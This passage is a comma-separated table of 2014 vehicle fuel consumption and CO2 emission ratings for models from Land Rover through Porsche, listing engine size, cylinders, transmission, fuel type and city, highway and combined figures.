2014,LAND ROVER,RANGE ROVER SPORT V6 3.0 SC FFV,SUV - STANDARD,3,6,AS8,Z,14.2,10.2,12.4,23,285 2014,LAND ROVER,RANGE ROVER SPORT V6 3.0 SC FFV,SUV - STANDARD,3,6,AS8,E,19.4,14.9,17.4,16,278 2014,LAND ROVER,RANGE ROVER SPORT V8 5.0 SC,SUV - STANDARD,5,8,AS8,Z,17.3,12.2,15,19,345 2014,LAND ROVER,RANGE ROVER SPORT V8 5.0 SC FFV,SUV - STANDARD,5,8,AS8,Z,16.6,12.3,14.7,19,338 2014,LAND ROVER,RANGE ROVER SPORT V8 5.0 SC FFV,SUV - STANDARD,5,8,AS8,E,24,16.6,20.7,14,331 2014,LAND ROVER,RANGE ROVER V6 3.0 SC,SUV - STANDARD,3,6,AS8,Z,14.1,10.1,12.3,23,283 2014,LAND ROVER,RANGE ROVER V6 3.0 SC FFV,SUV - STANDARD,3,6,AS8,Z,14.1,10.1,12.3,23,283 2014,LAND ROVER,RANGE ROVER V6 3.0 SC FFV,SUV - STANDARD,3,6,AS8,E,19.4,14.8,17.3,16,277 2014,LAND ROVER,RANGE ROVER V8 5.0 SC,SUV - STANDARD,5,8,AS8,Z,18,12.2,15.4,18,354 2014,LAND ROVER,RANGE ROVER V8 5.0 SC FFV,SUV - STANDARD,5,8,AS8,Z,17.2,12.5,15.1,19,347 2014,LAND ROVER,RANGE ROVER V8 5.0 SC FFV,SUV - STANDARD,5,8,AS8,E,25,16.9,21.4,13,342 2014,LEXUS,CT 200h,COMPACT,1.8,4,AV,X,5.5,5.8,5.6,50,129 2014,LEXUS,ES 300h,MID-SIZE,2.5,4,AV6,X,5.8,6.2,6,47,138 2014,LEXUS,ES 350,MID-SIZE,3.5,6,AS6,X,11.3,7.6,9.6,29,221 2014,LEXUS,GS 350,MID-SIZE,3.5,6,AS8,Z,12.1,8.3,10.4,27,239 2014,LEXUS,GS 350 AWD,MID-SIZE,3.5,6,AS6,Z,12.5,9.1,11,26,253 2014,LEXUS,GS 450h,MID-SIZE,3.5,6,AV8,Z,7.7,7.4,7.6,37,175 2014,LEXUS,GX 460,SUV - STANDARD,4.6,8,AS6,Z,15.7,11.8,13.9,20,320 2014,LEXUS,IS 250,COMPACT,2.5,6,AS6,Z,11.2,7.8,9.7,29,223 2014,LEXUS,IS 250 AWD,COMPACT,2.5,6,AS6,Z,11.8,8.7,10.4,27,239 2014,LEXUS,IS 250 C,SUBCOMPACT,2.5,6,AS6,Z,11.2,7.8,9.7,29,223 2014,LEXUS,IS 350,COMPACT,3.5,6,AS8,Z,12.2,8.7,10.6,27,244 2014,LEXUS,IS 350 AWD,COMPACT,3.5,6,AS6,Z,12.5,9.1,11,26,253 2014,LEXUS,IS 350 C,SUBCOMPACT,3.5,6,AS6,Z,12.1,8.7,10.6,27,244 2014,LEXUS,IS F,SUBCOMPACT,5,8,AS8,Z,14.6,10.1,12.6,22,290 2014,LEXUS,LS 460,MID-SIZE,4.6,8,AS8,Z,14.5,9.6,12.3,23,283 2014,LEXUS,LS 460 AWD,MID-SIZE,4.6,8,AS8,Z,15.1,10.3,12.9,22,297 2014,LEXUS,LS 460 L AWD,MID-SIZE,4.6,8,AS8,Z,15.1,10.3,12.9,22,297 2014,LEXUS,LS 600h L,MID-SIZE,5,8,AV8,Z,12,10.7,11.4,25,262 2014,LEXUS,LX 570,SUV - STANDARD,5.7,8,AS6,Z,18.8,13.6,16.5,17,380 2014,LEXUS,RX 350 AWD,SUV - SMALL,3.5,6,AS6,X,13.3,9.8,11.7,24,269 2014,LEXUS,RX 350 AWD,SUV - SMALL,3.5,6,AS8,X,12.7,9.1,11.1,25,255 2014,LEXUS,RX 450h AWD,SUV - SMALL,3.5,6,AV6,Z,7.9,8.6,8.2,34,189 2014,LINCOLN,MKS AWD,FULL-SIZE,3.5,6,AS6,X,13.7,9.4,11.8,24,271 2014,LINCOLN,MKS AWD,FULL-SIZE,3.7,6,AS6,X,13.1,9,11.3,25,260 2014,LINCOLN,MKT AWD,SUV - STANDARD,3.5,6,AS6,X,14.8,10.4,12.8,22,294 2014,LINCOLN,MKT LIVERY,SPECIAL PURPOSE VEHICLE,2,4,AS6,X,11.5,8.5,10.2,28,235 2014,LINCOLN,MKT LIVERY AWD,SPECIAL PURPOSE VEHICLE,3.7,6,A6,X,14,9.9,12.2,23,281 2014,LINCOLN,MKX AWD,SUV - SMALL,3.7,6,AS6,X,13.7,10.4,12.2,23,281 2014,LINCOLN,MKZ,MID-SIZE,2,4,AS6,X,10.5,7.1,9,31,207 2014,LINCOLN,MKZ AWD,MID-SIZE,3.7,6,AS6,X,13.1,9.3,11.4,25,262 2014,LINCOLN,MKZ HYBRID,MID-SIZE,2,4,AV,X,6.2,6.4,6.3,45,145 2014,LINCOLN,NAVIGATOR 4X4 FFV,SUV - STANDARD,5.4,8,A6,X,18.2,13.3,16,18,368 2014,LINCOLN,NAVIGATOR 4X4 FFV,SUV - STANDARD,5.4,8,A6,E,24.5,18,21.6,13,346 2014,MASERATI,GHIBLI,MID-SIZE,3,6,AS8,Z,15.2,9.6,12.7,22,292 2014,MASERATI,GHIBLI AWD,MID-SIZE,3,6,AS8,Z,15.2,9.6,12.7,22,292 2014,MASERATI,GRANTURISMO,SUBCOMPACT,4.7,8,AS6,Z,18.2,11.4,15.1,19,347 2014,MASERATI,GRANTURISMO CONVERTIBLE,SUBCOMPACT,4.7,8,AS6,Z,18.2,11.7,15.3,18,352 2014,MASERATI,QUATTROPORTE GTS,FULL-SIZE,3.8,8,AS8,Z,17.6,10.7,14.5,19,334 2014,MASERATI,QUATTROPORTE SQ4,FULL-SIZE,3,6,AS8,Z,15.9,9.7,13.1,22,301 2014,MAZDA,CX-5,SUV - SMALL,2,4,AS6,X,8.9,7.3,8.2,34,189 2014,MAZDA,CX-5,SUV - SMALL,2,4,M6,X,9,6.8,8,35,184 2014,MAZDA,CX-5,SUV - SMALL,2.5,4,AS6,X,9.6,7.4,8.6,33,198 2014,MAZDA,CX-5 4WD,SUV - SMALL,2,4,AS6,X,9.3,7.6,8.5,33,196 2014,MAZDA,CX-5 4WD,SUV - SMALL,2.5,4,AS6,X,9.8,7.9,8.9,32,205 2014,MAZDA,CX-9,SUV - SMALL,3.7,6,AS6,X,14.2,10,12.3,23,283 2014,MAZDA,CX-9 4WD,SUV - SMALL,3.7,6,AS6,X,14.3,10.6,12.6,22,290 2014,MAZDA,MAZDA2,COMPACT,1.5,4,A4,X,8.4,6.9,7.7,37,177 2014,MAZDA,MAZDA2,COMPACT,1.5,4,M5,X,8,6.7,7.4,38,170 2014,MAZDA,MAZDA3 4-DOOR,COMPACT,2,4,AS6,X,7.9,5.7,6.9,41,159 2014,MAZDA,MAZDA3 4-DOOR,COMPACT,2,4,M6,X,8,5.8,7,40,161 2014,MAZDA,MAZDA3 4-DOOR,COMPACT,2.5,4,AS6,X,8.4,6.1,7.4,38,170 2014,MAZDA,MAZDA3 4-DOOR (i-ELOOP),COMPACT,2.5,4,AS6,X,8.3,6.1,7.3,39,168 2014,MAZDA,MAZDA3 4-DOOR (SIL),COMPACT,2,4,M6,X,8,5.8,7,40,161 2014,MAZDA,MAZDA3 5-DOOR,MID-SIZE,2,4,AS6,X,8,5.9,7.1,40,163 2014,MAZDA,MAZDA3 5-DOOR,MID-SIZE,2,4,M6,X,8.2,5.9,7.2,39,166 2014,MAZDA,MAZDA3 5-DOOR,MID-SIZE,2.5,4,AS6,X,8.7,6.5,7.7,37,177 2014,MAZDA,MAZDA3 5-DOOR (i-ELOOP),MID-SIZE,2.5,4,AS6,X,8.2,6.1,7.3,39,168 2014,MAZDA,MAZDA3 5-DOOR (SIL),MID-SIZE,2,4,M6,X,8.2,5.9,7.2,39,166 2014,MAZDA,MAZDA5,MINIVAN,2.5,4,AS5,X,10.8,8.4,9.7,29,223 2014,MAZDA,MAZDA5,MINIVAN,2.5,4,M6,X,11.1,8.3,9.8,29,225 2014,MAZDA,MAZDA6,MID-SIZE,2.5,4,AS6,X,8.8,6.2,7.6,37,175 2014,MAZDA,MAZDA6,MID-SIZE,2.5,4,M6,X,9.4,6.4,8.1,35,186 2014,MAZDA,MAZDA6 (i-ELOOP),MID-SIZE,2.5,4,AS6,X,8.4,5.9,7.3,39,168 2014,MAZDA,MX-5,TWO-SEATER,2,4,AS6,Z,11.5,8.5,10.2,28,235 2014,MAZDA,MX-5,TWO-SEATER,2,4,M5,Z,10.5,8.5,9.6,29,221 2014,MAZDA,MX-5,TWO-SEATER,2,4,M6,Z,11.1,8.4,9.9,29,228 2014,MERCEDES-BENZ,B 250,STATION WAGON - SMALL,2,4,AS7,Z,9.2,6.6,8,35,184 2014,MERCEDES-BENZ,C 250,COMPACT,1.8,4,AS7,Z,10.9,7.5,9.4,30,216 2014,MERCEDES-BENZ,C 250 COUPE,SUBCOMPACT,1.8,4,AS7,Z,11,7.4,9.4,30,216 2014,MERCEDES-BENZ,C 300 4MATIC FFV,COMPACT,3.5,6,AS7,Z,12.2,8.5,10.5,27,242 2014,MERCEDES-BENZ,C 300 4MATIC FFV,COMPACT,3.5,6,AS7,E,16.4,11.1,14,20,224 2014,MERCEDES-BENZ,C 350,COMPACT,3.5,6,AS7,Z,12,8.6,10.5,27,242 2014,MERCEDES-BENZ,C 350 4MATIC,COMPACT,3.5,6,AS7,Z,11.9,8.6,10.4,27,239 2014,MERCEDES-BENZ,C 350 4MATIC COUPE,SUBCOMPACT,3.5,6,AS7,Z,12.1,8.7,10.6,27,244 2014,MERCEDES-BENZ,C 350 COUPE,SUBCOMPACT,3.5,6,AS7,Z,12.1,8.6,10.5,27,242 2014,MERCEDES-BENZ,C 63 AMG,COMPACT,6.2,8,AS7,Z,17.7,11.9,15.1,19,347 2014,MERCEDES-BENZ,C 63 AMG COUPE,SUBCOMPACT,6.2,8,AS7,Z,17.9,12.2,15.3,18,352 2014,MERCEDES-BENZ,CL 550 4MATIC,COMPACT,4.7,8,AS7,Z,15.4,10.4,13.2,21,304 2014,MERCEDES-BENZ,CL 63 AMG,COMPACT,5.5,8,AS7,Z,15.4,11,13.4,21,308 2014,MERCEDES-BENZ,CLA 250,COMPACT,2,4,AS7,Z,9.1,6.2,7.8,36,179 2014,MERCEDES-BENZ,CLA 45 AMG 4MATIC,COMPACT,2,4,AS7,Z,10.3,7.8,9.2,31,212 2014,MERCEDES-BENZ,CLS 550 4MATIC,COMPACT,4.7,8,AS7,Z,13.3,9.4,11.5,25,264 2014,MERCEDES-BENZ,CLS 63 AMG 4MATIC,COMPACT,5.5,8,AS7,Z,15.1,10.7,13.1,22,301 2014,MERCEDES-BENZ,CLS 63 AMG S 4MATIC,COMPACT,5.5,8,AS7,Z,15.1,10.7,13.1,22,301 2014,MERCEDES-BENZ,E 250 BLUETEC 4MATIC,MID-SIZE,2.1,4,AS7,D,8.5,5.7,7.2,39,194 2014,MERCEDES-BENZ,E 300 4MATIC,MID-SIZE,3.5,6,AS7,Z,11.8,8.2,10.2,28,235 2014,MERCEDES-BENZ,E 350 4MATIC,MID-SIZE,3.5,6,AS7,Z,11.6,8.1,10,28,230 2014,MERCEDES-BENZ,E 350 4MATIC COUPE,SUBCOMPACT,3.5,6,AS7,Z,11.9,8.5,10.4,27,239 2014,MERCEDES-BENZ,E 350 4MATIC WAGON,STATION WAGON - MID-SIZE,3.5,6,AS7,Z,12.1,8.6,10.5,27,242 2014,MERCEDES-BENZ,E 350 CABRIOLET,SUBCOMPACT,3.5,6,AS7,Z,12,8.5,10.4,27,239 2014,MERCEDES-BENZ,E 350 COUPE,SUBCOMPACT,3.5,6,AS7,Z,11.9,8.2,10.2,28,235 2014,MERCEDES-BENZ,E 400 HYBRID,MID-SIZE,3.5,6,AS7,Z,9.6,7.9,8.8,32,202 2014,MERCEDES-BENZ,E 550 4MATIC,MID-SIZE,4.7,8,AS7,Z,13.6,9.1,11.6,24,267 2014,MERCEDES-BENZ,E 550 CABRIOLET,SUBCOMPACT,4.7,8,AS7,Z,13.7,9.3,11.7,24,269 2014,MERCEDES-BENZ,E 550 COUPE,SUBCOMPACT,4.7,8,AS7,Z,13.4,8.9,11.4,25,262 2014,MERCEDES-BENZ,E 63 AMG 4MATIC,MID-SIZE,5.5,8,AS7,Z,15,10.3,12.9,22,297 2014,MERCEDES-BENZ,E 63 AMG 4MATIC WAGON,STATION WAGON - MID-SIZE,5.5,8,AS7,Z,15.5,11,13.5,21,310 2014,MERCEDES-BENZ,E 63 AMG S 4MATIC,MID-SIZE,5.5,8,AS7,Z,15,10.3,12.9,22,297 2014,MERCEDES-BENZ,E 63 AMG S 4MATIC WAGON,STATION WAGON - MID-SIZE,5.5,8,AS7,Z,15.5,11,13.5,21,310 2014,MERCEDES-BENZ,G 550,SUV - STANDARD,5.5,8,AS7,Z,20,15.9,18.2,16,419 2014,MERCEDES-BENZ,G 63 AMG,SUV - STANDARD,5.5,8,AS7,Z,19.4,15.7,17.7,16,407 2014,MERCEDES-BENZ,GL 350 BLUETEC 4MATIC,SUV - STANDARD,3,6,AS7,D,13.4,10.2,12,24,324 2014,MERCEDES-BENZ,GL 450 4MATIC,SUV - STANDARD,4.7,8,AS7,Z,17.1,12.8,15.2,19,350 2014,MERCEDES-BENZ,GL 550 4MATIC,SUV - STANDARD,4.7,8,AS7,Z,17.6,13.1,15.6,18,359 2014,MERCEDES-BENZ,GL 63 AMG,SUV - STANDARD,5.5,8,AS7,Z,17.7,13.4,15.8,18,363 2014,MERCEDES-BENZ,GLK 250 BLUETEC 4MATIC,SUV - SMALL,2.1,4,AS7,D,9.6,7.1,8.5,33,230 2014,MERCEDES-BENZ,GLK 350 4MATIC,SUV - SMALL,3.5,6,AS7,Z,12.6,9.6,11.3,25,260 2014,MERCEDES-BENZ,ML 350 4MATIC FFV,SUV - STANDARD,3.5,6,AS7,Z,13.4,10.5,12.1,23,278 2014,MERCEDES-BENZ,ML 350 4MATIC FFV,SUV - STANDARD,3.5,6,AS7,E,17.8,13.8,16,18,256 2014,MERCEDES-BENZ,ML 350 BLUETEC 4MATIC,SUV - STANDARD,3,6,AS7,D,11.8,8.5,10.3,27,278 2014,MERCEDES-BENZ,ML 550 4MATIC,SUV - STANDARD,4.7,8,AS7,Z,16.2,11.8,14.2,20,327 2014,MERCEDES-BENZ,ML 63 AMG 4MATIC,SUV - STANDARD,5.5,8,AS7,Z,17.2,13.5,15.5,18,356 2014,MERCEDES-BENZ,S 550 4MATIC LWB,FULL-SIZE,4.7,8,AS7,Z,14.3,9.5,12.1,23,278 2014,MERCEDES-BENZ,S 550 4MATIC SWB,FULL-SIZE,4.7,8,AS7,Z,14.2,9.4,12,24,276 2014,MERCEDES-BENZ,S 63 AMG 4MATIC,FULL-SIZE,5.5,8,AS7,Z,15.6,10.3,13.2,21,304 2014,MERCEDES-BENZ,SL 550,TWO-SEATER,4.7,8,AS7,Z,13.4,9.6,11.7,24,269 2014,MERCEDES-BENZ,SL 63 AMG,TWO-SEATER,5.5,8,AS7,Z,14.8,10.2,12.7,22,292 2014,MERCEDES-BENZ,SL 65 AMG,TWO-SEATER,6,8,AS7,Z,16.7,11.2,14.2,20,327 2014,MERCEDES-BENZ,SLK 250,TWO-SEATER,1.8,4,AS7,Z,10.3,7.2,8.9,32,205 2014,MERCEDES-BENZ,SLK 250,TWO-SEATER,1.8,4,M6,Z,10.4,7.3,9,31,207 2014,MERCEDES-BENZ,SLK 350,TWO-SEATER,3.5,6,AS7,Z,11.1,8.1,9.8,29,225 2014,MERCEDES-BENZ,SLK 55 AMG,TWO-SEATER,5.5,8,AS7,Z,12.3,8.7,10.7,26,246 2014,MERCEDES-BENZ,SLS AMG BLACK SERIES COUPE,TWO-SEATER,6.2,8,AS7,Z,18.7,13.9,16.5,17,380 2014,MERCEDES-BENZ,SLS AMG GT COUPE,TWO-SEATER,6.2,8,AS7,Z,18.2,12.6,15.7,18,361 2014,MERCEDES-BENZ,SLS AMG ROADSTER,TWO-SEATER,6.2,8,AS7,Z,18.2,12.6,15.7,18,361 2014,MINI,COOPER CLUBMAN,SUBCOMPACT,1.6,4,A6,Z,8.7,6.6,7.8,36,179 2014,MINI,COOPER CLUBMAN,SUBCOMPACT,1.6,4,M6,Z,8.6,6.8,7.8,36,179 2014,MINI,COOPER CONVERTIBLE,MINICOMPACT,1.6,4,A6,Z,8.7,6.6,7.8,36,179 2014,MINI,COOPER CONVERTIBLE,MINICOMPACT,1.6,4,M6,Z,8.6,6.8,7.8,36,179 2014,MINI,COOPER COUNTRYMAN,COMPACT,1.6,4,A6,Z,9.4,7.9,8.7,32,200 2014,MINI,COOPER COUNTRYMAN,COMPACT,1.6,4,M6,Z,8.6,6.8,7.8,36,179 2014,MINI,COOPER COUPE,TWO-SEATER,1.6,4,A6,Z,8.5,6.6,7.6,37,175 2014,MINI,COOPER COUPE,TWO-SEATER,1.6,4,M6,Z,8,6.4,7.3,39,168 2014,MINI,COOPER PACEMAN,COMPACT,1.6,4,A6,Z,9.4,7.9,8.7,32,200 2014,MINI,COOPER PACEMAN,COMPACT,1.6,4,M6,Z,8.6,6.8,7.8,36,179 2014,MINI,COOPER ROADSTER,TWO-SEATER,1.6,4,A6,Z,8.7,6.6,7.8,36,179 2014,MINI,COOPER ROADSTER,TWO-SEATER,1.6,4,M6,Z,8.6,6.8,7.8,36,179 2014,MINI,COOPER S CLUBMAN,SUBCOMPACT,1.6,4,A6,Z,9.3,7,8.3,34,191 2014,MINI,COOPER S CLUBMAN,SUBCOMPACT,1.6,4,M6,Z,9.1,6.7,8,35,184 2014,MINI,COOPER S CONVERTIBLE,MINICOMPACT,1.6,4,A6,Z,9.3,7,8.3,34,191 2014,MINI,COOPER S CONVERTIBLE,MINICOMPACT,1.6,4,M6,Z,9.1,6.7,8,35,184 2014,MINI,COOPER S COUNTRYMAN ALL4,COMPACT,1.6,4,A6,Z,10,7.8,9,31,207 2014,MINI,COOPER S COUNTRYMAN ALL4,COMPACT,1.6,4,M6,Z,9.3,7.5,8.5,33,196 2014,MINI,COOPER S COUPE,TWO-SEATER,1.6,4,A6,Z,9.3,7,8.3,34,191 2014,MINI,COOPER S COUPE,TWO-SEATER,1.6,4,M6,Z,9.1,6.7,8,35,184 2014,MINI,COOPER S PACEMAN ALL4,COMPACT,1.6,4,A6,Z,10,7.8,9,31,207 2014,MINI,COOPER S PACEMAN ALL4,COMPACT,1.6,4,M6,Z,9.3,7.5,8.5,33,196 2014,MINI,COOPER S ROADSTER,TWO-SEATER,1.6,4,A6,Z,9.3,7,8.3,34,191 2014,MINI,COOPER S ROADSTER,TWO-SEATER,1.6,4,M6,Z,9.1,6.7,8,35,184 2014,MINI,JOHN COOPER WORKS CLUBMAN,SUBCOMPACT,1.6,4,A6,Z,9.3,7,8.3,34,191 2014,MINI,JOHN COOPER WORKS CLUBMAN,SUBCOMPACT,1.6,4,M6,Z,9.1,6.7,8,35,184 2014,MINI,JOHN COOPER WORKS CONVERTIBLE,MINICOMPACT,1.6,4,A6,Z,9.3,7,8.3,34,191 2014,MINI,JOHN COOPER WORKS CONVERTIBLE,MINICOMPACT,1.6,4,M6,Z,9.1,6.7,8,35,184 2014,MINI,JOHN COOPER WORKS COUNTRYMAN ALL4,COMPACT,1.6,4,A6,Z,10,7.8,9,31,207 2014,MINI,JOHN COOPER WORKS COUNTRYMAN ALL4,COMPACT,1.6,4,M6,Z,9.3,7.5,8.5,33,196 2014,MINI,JOHN COOPER WORKS COUPE,TWO-SEATER,1.6,4,A6,Z,9.3,7,8.3,34,191 2014,MINI,JOHN COOPER WORKS COUPE,TWO-SEATER,1.6,4,M6,Z,9.1,6.7,8,35,184 2014,MINI,JOHN COOPER WORKS PACEMAN ALL4,COMPACT,1.6,4,A6,Z,10,7.8,9,31,207 2014,MINI,JOHN COOPER WORKS PACEMAN ALL4,COMPACT,1.6,4,M6,Z,9.3,7.5,8.5,33,196 2014,MINI,JOHN COOPER WORKS ROADSTER,TWO-SEATER,1.6,4,A6,Z,9.3,7,8.3,34,191 2014,MINI,JOHN COOPER WORKS ROADSTER,TWO-SEATER,1.6,4,M6,Z,9.1,6.7,8,35,184 2014,MITSUBISHI,LANCER,COMPACT,2,4,AV6,X,9.2,7,8.2,34,189 2014,MITSUBISHI,LANCER,COMPACT,2,4,M5,X,9.6,6.8,8.3,34,191 2014,MITSUBISHI,LANCER AWD,COMPACT,2.4,4,AV6,X,10.5,8.2,9.5,30,218 2014,MITSUBISHI,LANCER EVOLUTION,COMPACT,2,4,AM6,Z,14.2,10.5,12.5,23,288 2014,MITSUBISHI,LANCER EVOLUTION,COMPACT,2,4,M5,Z,14,10.3,12.3,23,283 2014,MITSUBISHI,LANCER RALLIART,COMPACT,2,4,AM6,Z,13.4,9.4,11.6,24,267 2014,MITSUBISHI,LANCER SPORTBACK,STATION WAGON - SMALL,2,4,AV6,X,9.6,7.3,8.6,33,198 2014,MITSUBISHI,LANCER SPORTBACK,STATION WAGON - SMALL,2,4,M5,X,9.8,7.1,8.6,33,198 2014,MITSUBISHI,MIRAGE,COMPACT,1.2,3,AV,X,6.4,5.4,6,47,138 2014,MITSUBISHI,MIRAGE,COMPACT,1.2,3,M5,X,7,5.6,6.4,44,147 2014,MITSUBISHI,OUTLANDER,SUV - SMALL,2.4,4,AV6,X,9.5,7.5,8.6,33,198 2014,MITSUBISHI,OUTLANDER 4WD,SUV - SMALL,2.4,4,AV6,X,9.9,8.1,9.1,31,209 2014,MITSUBISHI,OUTLANDER 4WD,SUV - SMALL,3,6,AS6,Z,11.5,8.5,10.2,28,235 2014,MITSUBISHI,RVR,SUV - SMALL,2,4,AV6,X,9.6,7.6,8.7,32,200 2014,MITSUBISHI,RVR,SUV - SMALL,2,4,M5,X,9.9,7.5,8.8,32,202 2014,MITSUBISHI,RVR 4WD,SUV - SMALL,2,4,AV6,X,9.8,8,9,31,207 2014,NISSAN,370Z,TWO-SEATER,3.7,6,AS7,Z,12.6,9.1,11,26,253 2014,NISSAN,370Z,TWO-SEATER,3.7,6,M6,Z,13.3,9.3,11.5,25,264 2014,NISSAN,370Z ROADSTER,TWO-SEATER,3.7,6,AS7,Z,13,9.5,11.4,25,262 2014,NISSAN,370Z ROADSTER,TWO-SEATER,3.7,6,M6,Z,13.5,9.6,11.7,24,269 2014,NISSAN,ALTIMA,MID-SIZE,2.5,4,AV,X,8.7,6.2,7.6,37,175 2014,NISSAN,ALTIMA,MID-SIZE,3.5,6,AV,X,10.8,7.4,9.3,30,214 2014,NISSAN,ARMADA 4WD,SUV - STANDARD,5.6,8,A5,X,19.1,13.4,16.5,17,380 2014,NISSAN,FRONTIER,PICKUP TRUCK - SMALL,2.5,4,A5,X,13.7,10.6,12.3,23,283 2014,NISSAN,FRONTIER,PICKUP TRUCK - SMALL,2.5,4,M5,X,12.2,10.2,11.3,25,260 2014,NISSAN,FRONTIER,PICKUP TRUCK - SMALL,4,6,A5,X,14.7,10.2,12.7,22,292 2014,NISSAN,FRONTIER 4WD,PICKUP TRUCK - SMALL,4,6,A5,X,15.7,11.2,13.7,21,315 2014,NISSAN,FRONTIER 4WD,PICKUP TRUCK - SMALL,4,6,M6,X,14.8,11,13.1,22,301 2014,NISSAN,GT-R,SUBCOMPACT,3.8,6,AM6,Z,14.5,10.9,12.9,22,297 2014,NISSAN,JUKE,STATION WAGON - SMALL,1.6,4,AV,Z,8.7,7.3,8.1,35,186 2014,NISSAN,JUKE,STATION WAGON - SMALL,1.6,4,M6,Z,9.5,7.6,8.6,33,198 2014,NISSAN,JUKE AWD,STATION WAGON - SMALL,1.6,4,AV,Z,9.3,7.9,8.7,32,200 2014,NISSAN,MAXIMA,MID-SIZE,3.5,6,AV,Z,12.3,9.1,10.9,26,251 2014,NISSAN,MURANO AWD,SUV - SMALL,3.5,6,AV,X,13.2,10.1,11.8,24,271 2014,NISSAN,NV200 CARGO VAN,SPECIAL PURPOSE VEHICLE,2,4,AV,X,10,8.5,9.3,30,214 2014,NISSAN,PATHFINDER,SUV - SMALL,3.5,6,AV,X,12,8.9,10.6,27,244 2014,NISSAN,PATHFINDER 4WD,SUV - SMALL,3.5,6,AV,X,12.3,9.3,11,26,253 2014,NISSAN,PATHFINDER HYBRID 4WD,SUV - STANDARD,2.5,4,AV,X,9.1,8.5,8.8,32,202 2014,NISSAN,QUEST,MINIVAN,3.5,6,AV,X,12.5,9.5,11.1,25,255 2014,NISSAN,ROGUE,SUV - SMALL,2.5,4,AV,X,9.2,7.2,8.3,34,191 2014,NISSAN,ROGUE AWD,SUV - SMALL,2.5,4,AV,X,9.5,7.4,8.6,33,198 2014,NISSAN,SENTRA,MID-SIZE,1.8,4,AV,X,7.8,6,7,40,161 2014,NISSAN,SENTRA,MID-SIZE,1.8,4,M6,X,8.7,6.6,7.8,36,179 2014,NISSAN,TITAN,PICKUP TRUCK - STANDARD,5.6,8,A5,X,17.9,12.8,15.6,18,359 2014,NISSAN,TITAN 4WD,PICKUP TRUCK - STANDARD,5.6,8,A5,X,19.7,14.3,17.3,16,398 2014,NISSAN,VERSA,COMPACT,1.6,4,AV,X,7.2,5.8,6.6,43,152 2014,NISSAN,VERSA,COMPACT,1.6,4,M5,X,8.6,6.5,7.7,37,177 2014,NISSAN,XTERRA 4WD,SUV - SMALL,4,6,A5,X,16.1,11.9,14.2,20,327 2014,NISSAN,XTERRA 4WD,SUV - SMALL,4,6,M6,X,15.2,11.9,13.7,21,315 2014,PORSCHE,911 CARRERA,MINICOMPACT,3.4,6,AM7,Z,11.6,8.3,10.1,28,232 2014,PORSCHE,911 CARRERA,MINICOMPACT,3.4,6,M7,Z,12.5,8.6,10.7,26,246 2014,PORSCHE,911 CARRERA 4,MINICOMPACT,3.4,6,AM7,Z,11.8,8.5,10.3,27,237 2014,PORSCHE,911 CARRERA 4,MINICOMPACT,3.4,6,M7,Z,12.4,8.6,10.7,26,246 2014,PORSCHE,911 CARRERA 4 CABRIOLET,MINICOMPACT,3.4,6,AM7,Z,12,8.7,10.5,27,242 2014,PORSCHE,911 CARRERA 4 CABRIOLET,MINICOMPACT,3.4,6,M7,Z,12.6,9,11,26,253 2014,PORSCHE,911 CARRERA 4S,MINICOMPACT,3.8,6,AM7,Z,12.3,8.9,10.8,26,248 2014,PORSCHE,911 CARRERA 4S,MINICOMPACT,3.8,6,M7,Z,12.8,8.9,11,26,253 2014,PORSCHE,911 CARRERA 4S CABRIOLET,MINICOMPACT,3.8,6,AM7,Z,12.7,9,11,26,253 2014,PORSCHE,911 CARRERA 4S CABRIOLET,MINICOMPACT,3.8,6,M7,Z,12.9,9.1,11.2,25,258 2014,PORSCHE,911 CARRERA CABRIOLET,MINICOMPACT,3.4,6,AM7,Z,11.6,8.3,10.1,28,232 2014,PORSCHE,911 CARRERA CABRIOLET,MINICOMPACT,3.4,6,M7,Z,12.4,8.6,10.7,26,246 2014,PORSCHE,911 CARRERA S,MINICOMPACT,3.8,6,AM7,Z,12.1,8.7,10.6,27,244 2014,PORSCHE,911 CARRERA S,MINICOMPACT,3.8,6,M7,Z,12.6,8.6,10.8,26,248 2014,PORSCHE,911 CARRERA S CABRIOLET,MINICOMPACT,3.8,6,AM7,Z,12.4,8.7,10.7,26,246 2014,PORSCHE,911 CARRERA S CABRIOLET,MINICOMPACT,3.8,6,M7,Z,12.6,8.8,10.9,26,251 2014,PORSCHE,911 GT3,TWO-SEATER,3.8,6,AM7,Z,16,11.5,14,20,322 2014,PORSCHE,911 TURBO,MINICOMPACT,3.8,6,AM7,Z,13.7,9.6,11.9,24,274 2014,PORSCHE,911 TURBO CABRIOLET,MINICOMPACT,3.8,6,AM7,Z,13.7,9.6,11.9,24,274 2014,PORSCHE,911 TURBO S,MINICOMPACT,3.8,6,AM7,Z,13.7,9.6,11.9,24,274 2014,PORSCHE,911 TURBO S CABRIOLET,MINICOMPACT,3.8,6,AM7,Z,13.7,9.6,11.9,24,274 2014,PORSCHE,BOXSTER,TWO-SEATER,2.7,6,AM7,Z,10.7,7.4,9.2,31,212 2014,PORSCHE,BOXSTER,TWO-SEATER,2.7,6,M6,Z,11.5,7.9,9.9,29,228 2014,PORSCHE,BOXSTER S,TWO-SEATER,3.4,6,AM7,Z,11.3,7.9,9.8,29,225 2014,PORSCHE,BOXSTER S,TWO-SEATER,3.4,6,M6,Z,11.9,8.6,10.4,27,239 2014,PORSCHE,CAYENNE,SUV - STANDARD,3.6,6,A8,Z,13.6,10.1,12,24,276 2014,PORSCHE,CAYENNE,SUV - STANDARD,3.6,6,M6,Z,15.8,10.9,13.6,21,313 2014,PORSCHE,CAYENNE DIESEL,SUV - STANDARD,3,6,A8,D,12.2,8.1,10.4,27,281 2014,PORSCHE,CAYENNE GTS,SUV - STANDARD,4.8,8,A8,Z,15.9,11.4,13.9,20,320 2014,PORSCHE,CAYENNE S,SUV - STANDARD,4.8,8,A8,Z,15,10.6,13,22,299 2014,PORSCHE,CAYENNE S HYBRID,SUV - STANDARD,3,6,A8,Z,11.8,9.9,10.9,26,251 2014,PORSCHE,CAYENNE TURBO,SUV - STANDARD,4.8,8,A8,Z,15.9,10.9,13.7,21,315 2014,PORSCHE,CAYMAN,TWO-SEATER,2.7,6,AM7,Z,10.7,7.4,9.2,31,212 2014,PORSCHE,CAYMAN,TWO-SEATER,2.7,6,M6,Z,11.5,7.9,9.9,29,228 2014,PORSCHE,CAYMAN S,TWO-SEATER,3.4,6,AM7,Z,11.3,7.9,9.8,29,225 2014,PORSCHE,CAYMAN S,TWO-SEATER,3.4,6,M6,Z,11.9,8.6,10.4,27,239 2014,PORSCHE,PANAMERA,FULL-SIZE,3.6,6,AM7,Z,12.9,8.4,10.9,26,251 2014,PORSCHE,PANAMERA 4,FULL-SIZE,3.6,6,AM7,Z,13.1,8.7,11.1,25,255 